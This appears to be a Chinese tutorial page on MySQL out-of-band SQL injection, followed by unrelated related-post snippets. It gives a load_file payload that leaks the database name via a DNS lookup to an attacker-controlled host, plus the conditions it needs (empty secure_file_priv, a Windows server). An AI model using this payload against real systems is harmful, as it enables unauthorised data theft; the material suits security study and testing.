mysql帶外攻擊 mysql 帶外注入

2021-10-17 13:50:12 字數 952 閱讀 1760

帶外通道

有時候注入發現並沒有回顯,也不能利用時間盲注,那麼就可以利用帶外通道,也就是利用其他協議或者渠道,如http請求、dns解析、smb服務等將資料帶出。

payload

select load_file(concat('\\\\',( select database() ),'.xx.xx\\x));

其中的load_file的位址為乙個遠端檔案,mysql在load_file()乙個遠端檔案時會傳送dns請求包去解析,所以可以帶出資料,'\\data.xx.xx\x' ,xx.xx為自己的伺服器名,沒有的話可以去這裡申請乙個 ceye.io

mysql帶外注入條件

1. mysql.ini 中 secure_file_priv 必須為空

( ps. 修改mysql.ini 檔案,在[mysqld] 下加入 secure_file_priv =   )

mysql 新版本下secure-file-priv欄位 : secure-file-priv引數是用來限制load data, select ... outfile, and load_file()傳到哪個指定目錄的。

當secure_file_priv的值為null ,表示限制mysqld 不允許匯入|匯出

當secure_file_priv的值為/tmp/ ,表示限制mysqld 的匯入|匯出只能發生在/tmp/目錄下

當secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制

2. 從payload看出load_file的路徑是windows下的unc路徑,所以mysql帶外注入只能發生在windows機器上

測試

sql注入之 讀寫檔案,帶外攻擊

在my.ini加上secure file priv secure file priv 代表對檔案讀寫沒有限制 secure file priv null代表不能進行檔案讀寫 secure file priv d 代表只能對改路徑下檔案進行讀寫 函式 load file 語句 id 1 union s...

mysql 行轉列 (帶日期)

從網上找了很多行轉列的。基本都是2行的行轉列。不帶日期分組的。處理過程 我自己有的資料,這個已經是處理後的 源資料 圖1 img 下圖是我自己想要實現得類似的行轉列的樣子,但是下圖,並沒有完全實現行轉列。行和列還是分離的,只是多了列,所有的行並沒有統一與合併資料 圖2 img 最終實現的結果 圖3 ...

mysql函式聯結 mysql使用帶聚集函式的聯結

聚集函式用來彙總資料。雖然至今為止聚集函式的所有例子只是從單個表彙總資料,但這些函式也可以與聯結一起使用。為說明這一點,請看乙個例子。如果要檢索所有客戶及每個客戶所下的訂單數,下面使用了 count 函式的 可完成此工作 輸入 select customers.cust name,customers...